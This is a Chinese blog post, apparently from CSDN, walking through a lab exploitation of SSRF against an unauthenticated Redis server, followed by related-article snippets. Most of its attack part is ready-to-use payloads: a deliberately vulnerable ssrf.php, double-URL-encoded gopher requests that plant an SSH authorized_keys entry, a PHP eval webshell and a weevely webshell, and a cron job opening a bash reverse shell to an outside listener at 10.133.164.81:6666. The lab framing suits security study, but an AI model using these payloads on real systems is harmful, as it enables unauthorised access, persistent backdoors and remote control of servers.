ssrf+redis

最新推荐文章于 2024-05-14 10:49:40 发布
最新推荐文章于 2024-05-14 10:49:40 发布
阅读量3.7k 收藏 5
点赞数 5
文章标签： linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45213259/article/details/110352124
版权

ssrf+redis

  • 实验环境
    靶机：ubuntu16.04 ip:192.168.211.130
    在靶机中搭建lamp环境、安装redis、安装ssh
    攻击机：kali2020 ip:192.168.211.134
    在攻击机中安装redis
    vps:windows10(本机） ip:10.133.164.81
    在windows中安装nc.exe

  • 实验步骤
    1.将ssrf.php文件放在web根目录下
    ssrf.php:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

2.通过攻击机访问靶机的ssrf.php,确定可以访问的通
http://192.168.211.130/ssrf.php?url=www.baidu.com
在这里插入图片描述
3.靶机中，进入redis安装目录，开启redis服务

redis-server redis.conf

攻击机中，进入redis安装目录，开启redis服务

redis-server redis.conf

4.在攻击机中测试

redis-cli -h 192.168.211.130

在这里插入图片描述
连接成功即两个redis可以互通
输入quit或exit退出
5.在浏览器中访问http://192.168.211.130/ssrf.php?url=127.0.0.1，出现如下图，可以判定存在ssrf漏洞
在这里插入图片描述
6.在浏览器中访问
http://192.168.211.130/ssrf.php?url=dict://127.0.0.1:6379/info，进行redis的默认端口6379进行访问，如下图，可以发现靶机上的redis服务
在这里插入图片描述
ssrf+redis攻击
7.在靶机上使用root权限新建一个
公钥存放目录.ssh

mkdir /root/.ssh

在攻击机中使用root权限新建一个
公钥存放目录.ssh

mkdir /root/.ssh

进入公钥存放目录，使用如下命令，生成ssh公钥和私钥：
在这里我密钥密码均设为空（也可以设为别的）

cd /root/.ssh
ssh-keygen -t rsa

在这里插入图片描述
将公钥提取出来到ceshi.txt中,cat ceshi.txt查看公钥

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >ceshi.txt
cat ceshi.txt

在这里插入图片描述
在这里插入图片描述
8.通过URL访问SSRF漏洞地址：http://10.1.8.159/ssrf.php?url=
结合gother协议构造符合格式的paylod，从而模拟redis通信。
正常是在redis客户端和服务端连接通信时，payload如下：

set  margin  "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDr6sOA325MhcQUUknax18ZY9+I/t8LUzPqaD1eX/covADk/nbqcdohGhziCqNIicwdsSoSGu94Y1sauZfocDIIxsfvacFERhmjOXuO2MwxwBRjhblaMUnf3z/pWHjGC03olnkC7JzCIxydkoWRjuEZSbjYSvFvW70P0phyjQ6uYeBXZ32WWEB3iBDW7RGUI/UqmTYr5dWVnzbPsebNqVlCbfvBCGAGC3BmmZs2xoD8gFltru4BraBhMc3a5KCJrpuHVkC+5HxrzpTkFUIxIF2MgdC4XEtFgJUPyXE9kL94/Y/xgVtxFzeyYURPyN0PsLSgyJopIkSTQh/+/u+46MlXWZb+8LjdafSy9vglbiCir7u9rQGB8eqo8iBzfSZpDmJi0GqFJioWs5yF0guw06OEoC52cf8q2568zsdp8B4VBW1cSTPTaAdv9aEbn6qANLjigSIFMApW3eU5jEECawXts9Z7v9CfKd2Z3rHuIV4pl85emdv51fXyPiV1wf0m2zs= root@kali\n\n\n"
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

将gother后面非字符内容进行URL编码

http://192.168.211.130/ssrf.php?url=gother://127.0.0.1:6379/_payload
转换为：
http://192.168.211.130/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_payload

将以上命令构造成符合gother协议格式，且能够通过URL传输的格式来发送
将正常的payload进行两次URL编码构成新的payload
在这里插入图片描述完整的访问网址

http://192.168.211.130/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%32%30%25%36%64%25%36%31%25%37%32%25%36%37%25%36%39%25%36%65%25%32%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%37%33%25%37%33%25%36%38%25%32%64%25%37%32%25%37%33%25%36%31%25%32%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%32%25%33%33%25%34%65%25%37%61%25%36%31%25%34%33%25%33%31%25%37%39%25%36%33%25%33%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%34%25%34%31%25%35%31%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%32%25%36%37%25%35%31%25%34%34%25%37%32%25%33%36%25%37%33%25%34%66%25%34%31%25%33%33%25%33%32%25%33%35%25%34%64%25%36%38%25%36%33%25%35%31%25%35%35%25%35%35%25%36%62%25%36%65%25%36%31%25%37%38%25%33%31%25%33%38%25%35%61%25%35%39%25%33%39%25%32%62%25%34%39%25%32%66%25%37%34%25%33%38%25%34%63%25%35%35%25%37%61%25%35%30%25%37%31%25%36%31%25%34%34%25%33%31%25%36%35%25%35%38%25%32%66%25%36%33%25%36%66%25%37%36%25%34%31%25%34%34%25%36%62%25%32%66%25%36%65%25%36%32%25%37%31%25%36%33%25%36%34%25%36%66%25%36%38%25%34%37%25%36%38%25%37%61%25%36%39%25%34%33%25%37%31%25%34%65%25%34%39%25%36%39%25%36%33%25%37%37%25%36%34%25%37%33%25%35%33%25%36%66%25%35%33%25%34%37%25%37%35%25%33%39%25%33%34%25%35%39%25%33%31%25%37%33%25%36%31%25%37%35%25%35%61%25%36%36%25%36%66%25%36%33%25%34%34%25%34%39%25%34%39%25%37%38%25%37%33%25%36%36%25%37%36%25%36%31%25%36%33%25%34%36%25%34%35%25%35%32%25%36%38%25%36%64%25%36%61%25%34%66%25%35%38%25%37%35%25%34%66%25%33%32%25%34%64%25%37%37%25%37%38%25%37%37%25%34%32%25%35%32%25%36%61%25%36%38%25%36%32%25%36%63%25%36%31%25%34%64%25%35%35%25%36%65%25%36%36%25%33%33%25%37%61%25%32%66%25%37%30%25%35%37%25%34%38%25%36%61%25%34%37%25%34%33%25%33%30%25%33%33%25%36%66%25%36%63%25%36%65%25%36%62%25%34%33%25%33%37%25%34%61%25%37%61%25%34%33%25%34%39%25%37%38%25%37%39%25%36%34%25%36%62%25%36%66%25%35%37%25%35%32%25%36%61%25%37%35%25%34%35%25%35%61%25%35%33%25%36%32%25%36%61%25%35%39%25%35%33%25%37%36%25%34%36%25%37%36%25%35%37%25%33%37%25%33%30%25%35%30%25%33%30%25%37%30%25%36%38%25%37%39%25%36%61%25%35%31%25%33%36%25%37%35%25%35%39%25%36%35%25%34%32%25%35%38%25%35%61%25%33%33%25%33%32%25%35%37%25%35%37%25%34%35%25%34%32%25%33%33%25%36%39%25%34%32%25%34%34%25%35%37%25%33%37%25%35%32%25%34%37%25%35%35%25%34%39%25%32%66%25%35%35%25%37%31%25%36%64%25%35%34%25%35%39%25%37%32%25%33%35%25%36%34%25%35%37%25%35%36%25%36%65%25%37%61%25%36%32%25%35%30%25%37%33%25%36%35%25%36%32%25%34%65%25%37%31%25%35%36%25%36%63%25%34%33%25%36%32%25%36%36%25%37%36%25%34%32%25%34%33%25%34%37%25%34%31%25%34%37%25%34%33%25%33%33%25%34%32%25%36%64%25%36%64%25%35%61%25%37%33%25%33%32%25%37%38%25%36%66%25%34%34%25%33%38%25%36%37%25%34%36%25%36%63%25%37%34%25%37%32%25%37%35%25%33%34%25%34%32%25%37%32%25%36%31%25%34%32%25%36%38%25%34%64%25%36%33%25%33%33%25%36%31%25%33%35%25%34%62%25%34%33%25%34%61%25%37%32%25%37%30%25%37%35%25%34%38%25%35%36%25%36%62%25%34%33%25%32%62%25%33%35%25%34%38%25%37%38%25%37%32%25%37%61%25%37%30%25%35%34%25%36%62%25%34%36%25%35%35%25%34%39%25%37%38%25%34%39%25%34%36%25%33%32%25%34%64%25%36%37%25%36%34%25%34%33%25%33%34%25%35%38%25%34%35%25%37%34%25%34%36%25%36%37%25%34%61%25%35%35%25%35%30%25%37%39%25%35%38%25%34%35%25%33%39%25%36%62%25%34%63%25%33%39%25%33%34%25%32%66%25%35%39%25%32%66%25%37%38%25%36%37%25%35%36%25%37%34%25%37%38%25%34%36%25%37%61%25%36%35%25%37%39%25%35%39%25%35%35%25%35%32%25%35%30%25%37%39%25%34%65%25%33%30%25%35%30%25%37%33%25%34%63%25%35%33%25%36%37%25%37%39%25%34%61%25%36%66%25%37%30%25%34%39%25%36%62%25%35%33%25%35%34%25%35%31%25%36%38%25%32%66%25%32%62%25%32%66%25%37%35%25%32%62%25%33%34%25%33%36%25%34%64%25%36%63%25%35%38%25%35%37%25%35%61%25%36%32%25%32%62%25%33%38%25%34%63%25%36%61%25%36%34%25%36%31%25%36%36%25%35%33%25%37%39%25%33%39%25%37%36%25%36%37%25%36%63%25%36%32%25%36%39%25%34%33%25%36%39%25%37%32%25%33%37%25%37%35%25%33%39%25%37%32%25%35%31%25%34%37%25%34%32%25%33%38%25%36%35%25%37%31%25%36%66%25%33%38%25%36%39%25%34%32%25%37%61%25%36%36%25%35%33%25%35%61%25%37%30%25%34%34%25%36%64%25%34%61%25%36%39%25%33%30%25%34%37%25%37%31%25%34%36%25%34%61%25%36%39%25%36%66%25%35%37%25%37%33%25%33%35%25%37%39%25%34%36%25%33%30%25%36%37%25%37%35%25%37%37%25%33%30%25%33%36%25%34%66%25%34%35%25%36%66%25%34%33%25%33%35%25%33%32%25%36%33%25%36%36%25%33%38%25%37%31%25%33%32%25%33%35%25%33%36%25%33%38%25%37%61%25%37%33%25%36%34%25%37%30%25%33%38%25%34%32%25%33%34%25%35%36%25%34%32%25%35%37%25%33%31%25%36%33%25%35%33%25%35%34%25%35%30%25%35%34%25%36%31%25%34%31%25%36%34%25%37%36%25%33%39%25%36%31%25%34%35%25%36%32%25%36%65%25%33%36%25%37%31%25%34%31%25%34%65%25%34%63%25%36%61%25%36%39%25%36%37%25%35%33%25%34%39%25%34%36%25%34%64%25%34%31%25%37%30%25%35%37%25%33%33%25%36%35%25%35%35%25%33%35%25%36%61%25%34%35%25%34%35%25%34%33%25%36%31%25%37%37%25%35%38%25%37%34%25%37%33%25%33%39%25%35%61%25%33%37%25%37%36%25%33%39%25%34%33%25%36%36%25%34%62%25%36%34%25%33%32%25%35%61%25%33%33%25%37%32%25%34%38%25%37%35%25%34%39%25%35%36%25%33%34%25%37%30%25%36%63%25%33%38%25%33%35%25%36%35%25%36%64%25%36%34%25%37%36%25%33%35%25%33%31%25%36%36%25%35%38%25%37%39%25%35%30%25%36%39%25%35%36%25%33%31%25%37%37%25%36%36%25%33%30%25%36%64%25%33%32%25%37%61%25%37%33%25%33%64%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%34%30%25%36%62%25%36%31%25%36%63%25%36%39%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%32%25%36%66%25%36%66%25%37%34%25%32%66%25%32%65%25%37%33%25%37%33%25%36%38%25%32%66%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%32%32%25%36%31%25%37%35%25%37%34%25%36%38%25%36%66%25%37%32%25%36%39%25%37%61%25%36%35%25%36%34%25%35%66%25%36%62%25%36%35%25%37%39%25%37%33%25%32%32%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

9.直接在浏览器中访问
或者在攻击中执行命令

curl  完整网址

页面会显示超时，但还是吧公钥传入了.ssh中
在这里插入图片描述
这里由于我等待的时间比较长，就直接将公钥放入了.ssh中
在这里插入图片描述
10.在靶机中，开启ssh服务

systemctl restart sshd.service

在攻击机上使用ssh登陆靶机

ssh -i id_rsa root@192.168.211.130

在这里插入图片描述
但是这里没有免密登陆，我想应该是由于公钥是我复制过去的，而不是传过去的吧
但是最终也能登陆
输入ifconfig,可以查看到靶机的ip
在这里插入图片描述
向web中写入webshell
11.同理，将上面访问的网址的payload重新构造
原本的payload(即将一句话木马放入靶机的web根目录下)：

set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n"
config set dir /var/www/html  
config set dbfilename shell.php
save

完整的访问网址：

http://192.168.211.130/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%30%25%32%30%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

这里，我直接通过kali（攻击机）的菜刀（weevely），生成一个1.php文件作为webshell
在kali中输入生成webshell，密码为password

weevely generate password /root/Desktop/1.php

如下图所示即够造完成
在这里插入图片描述
cat 1.php得到1.php内容
在这里插入图片描述

与上面构造payload一样
将这个webshell传入网站根目录
payload：

set x "\n\n\n这里为1.php的内容\n\n\n"
config set dir /var/www/html  
config set dbfilename 1.php
save

在进行两次URL编码形成完整的访问连接传入

http://192.168.211.130/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_这里为两次url编码后的内容

这里我直接将文件移动到靶机网站的根目录下
在这里插入图片描述
12.在攻击机中通过菜刀进行访问

weevely http://192.168.211.130/1.php password

在这里插入图片描述
输入dir查看根目录下文件，输入quit退出
有兴趣，也可以尝试上面的一句话木马，密码自己破解一下
计划反弹shell
13.windows 在nc安装目录下执行./nc.exe -lvp 6666 ，对6666端口进行监听

./nc.exe -lvp 6666

在这里插入图片描述

14.构造payload
正常的payload：

set xxx "\n\n* * * * * bash -i>& /dev/tcp/10.133.164.81/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

两次url编码后完整的访问网址

http://192.168.211.130/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%30%25%32%65%25%33%31%25%33%33%25%33%33%25%32%65%25%33%31%25%33%36%25%33%34%25%32%65%25%33%38%25%33%31%25%32%66%25%33%36%25%33%36%25%33%36%25%33%36%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

通过攻击机进行访问该网址，在Windows中进行监听，当监听到时，靶机中将会出现反弹的shell

泽N煜
关注
  • 5
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
SSRF中Redis的利用
hackzkaq的博客
01-26 1096
SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(因为请求是由服务端帮我们发起的，所以我们可以通过它来向其所在的内网机器发起请求)。Gopherus下载地址自己手动把攻击语句转换成Gopher协议的格式会很麻烦，这款工具里面内置了一些早就写好的利用语句，我们只需要学会如何使用它就可以很方便的写出一些我们需要的利用语句。
Redis漏洞及搭配ssrf利用的姿势
qq_71467825的博客
06-24 1588
这篇博客就总结到这里，下次把经典一点的SSRF题目都总结到一起再学习一波，冲冲冲！！！
SSRF——手把手教你Redis反弹Shell
sudu2020dd的博客
06-04 2642
由于业务运行的服务器处于内外网边界，并且可通过利用当前的这台服务器，根据所在的网络，访问到与外部网络隔离的内网应用，所以一般情况下，SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统。因为攻击Redis A之前，首先需要构造一个样本，如何构造，通过在kali本地搭建一个Redis B，作为本地测试，形成攻击链后将他的格式转换为gopher协议，然后测试完毕后，应用在真实攻击上，将gopher协议数据包发送给存在SSRF漏洞的机器实现攻击，转给Redis A，写一个计划任务，反弹shell，往kali弹。
2024年最全ssrf漏洞利用(内网探测、打redis)_ssrf内网探测，2024年最新大厂HarmonyOS鸿蒙开发面试解答
最新发布
2401_84851314的博客
05-14 305
只要知道内网有开启6379的redis服务（或许是其他端口开放的此服务），那么就可以利用目标机进行攻击redis了。第一步探测Redis我们已经完成了，那么第二步就是发送redis命令，将反弹shell脚本写入/etc/crontab中，crontab就是linux下的一个定时执行事件的一个程序。还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root。针对这三个路径的不同，如下会进行讲解。
SSRF+Redis组合拳啊哒~
qq_43665434的博客
04-02 1490
SSRF+Redis组合拳 好雨知时节，当春乃发生。（就是有点冷） 实验环境 主机 角色 描述 centos8 受害服务器 运行redis数据库，且含有redis未授权访问漏洞 window10 跳板服务器 含有ssrf漏洞 kali 攻击者 利用ssrf+redis未授权访问获取centos8的shell 工具： Redis nc wireshark tcpdump Redis基础 1、序列化协议 客户端-服务端之间交互的是序列化后的协议数据。在Redis中，协议数据分为
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
Demo不是emo的博客
09-17 3330
今天的内容是ssrf漏洞的利用，环境选择的是discuz含有ssrf漏洞的版本，通过该漏洞来写入redis计划任务反弹shell（附带环境安装包）
通过SSRF操作Redis主从复制写Webshell_R3start1
08-03
1.使用 DICT 协议添加一条测试记录 2.设置保存路径 3.设置保存文件名 4.保存 1.连接远程主服务器 2.设置保存路径 3.设置保存文件名 4.保存
通过 SSRF 操作 Redis 主从 RCE1
08-04
1.使用 DICT 协议添加一条测试记录 2.设置保存路径 3.设置保存文件名 4.保存 1.连接远程主服务器 2.设置保存路径 3.设置保存文件名 4.保存
Python-GitLab1147SSRF配合redis远程执行代码
08-10
GitLab 11.4.7 SSRF配合redis远程执行代码
redis安全学习小记1
08-03
在SSRF（Server-Side Request Forgery）攻击中，攻击者可能利用 `%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A`来绕过认证。 Redis支持多种数据类型，包括字符串、哈希、列表、集合和有序集合。这些数据...
SSRF_ex:SSRF漏洞测试、利用 SSRF vulnerability testing and utilization
05-08
SSRF_exSSRF漏洞测试、利用 SSRF vulnerability testing and utilizationSSRF[+] 服务端请求伪造，当作跳板攻击内网服务[+] 扫描内部网络、服务[+] 访问本机敏感文件[+] 向特定端口发送数据包、payload.├── ...
基于SSRF+Redis的内网渗透
weixin_46686336的博客
11-07 603
基于SSRF+Redis的内网渗透
Redis在SSRF中的应用
feng的博客
10-06 1306
偶然找到的一篇文章，觉得写的很不错。本来只是收藏而不是转载，但是我发现这篇文章的原文已经挂了，因此就转载了过来。
利用SSRF攻击Redis
LUOBIKUN的博客
10-20 4413
SSRF漏洞+redis前置知识实验环境搭建SSRF攻击Redis通过redis写入ssh公钥，获取操作系统权限；直接向Web目录中写webshell；linux计划任务执行命令反弹shell。 前置知识 利用SSRF来攻击靶机的redis服务，需要涉及到的一些知识点： 1，Redis客户端和服务端通信过程，以及常用命令； 2，相关协议，例如dict://协议和gother协议的使用 dict://协议 词典网络协议，在RFC 2009中进行描述。它的目标是超越Webster protocol，并允许客户端
SSRF漏洞理解进阶&SSRF+gopher打内网（redis、mysql、fastcgi）& SSRF相关基础概念
东隅的博客
10-25 8016
SSRF漏洞理解进阶&SSRF+gopher打内网（redis、mysql、fastcgi）& SSRF相关基础概念。首先要了解几个概念：内网&外网代理curlgopher、ftp、dict伪协议file_get_contents()、 fsockopen() 、curl_exec() 等函数。
SSRF漏洞之Redis利用篇
weixin_39664643的博客
01-21 3276
SSRF漏洞之Redis利用篇 SSRF–(Server-side Request Forge, 服务端请求伪造) 定义：由攻击者构造的攻击链接传给服务端执行造成的漏洞，一般用来在外网探测或攻击内网服务 SSRF漏洞思维导图如下，本篇主要介绍利用SSRF漏洞攻击内网Redis SSRF攻击内网Redis 当存在SSRF漏洞且内网中Redis服务可以未授权访问时，利用Redis 任意文件写入成为十分常见的利用方式，一般内网中会存在 root 权限运行的 Redis 服务，利用 Gopher 协议可以攻击内网
SSRF+redis
08-24
SSRF redis是指通过Server-Side Request Forgery (SSRF)攻击技术利用redis未授权访问漏洞的组合。SSRF漏洞可以让攻击者发送伪造的请求，使服务器在攻击者的控制下发送请求到内部网络或其他外部系统。而redis未授权访问漏洞指的是redis数据库未经任何身份验证就可以被访问和控制的漏洞。通过这两种漏洞的结合，攻击者可以利用SSRF漏洞请求含有未授权访问漏洞的redis，然后通过redis的数据备份功能将恶意代码写入服务器的定时文件中，最终实现反弹shell攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [ssrf+redis](https://blog.csdn.net/qq_45213259/article/details/110352124)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [SSRF+Redis组合拳啊哒~](https://blog.csdn.net/qq_43665434/article/details/115408269)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值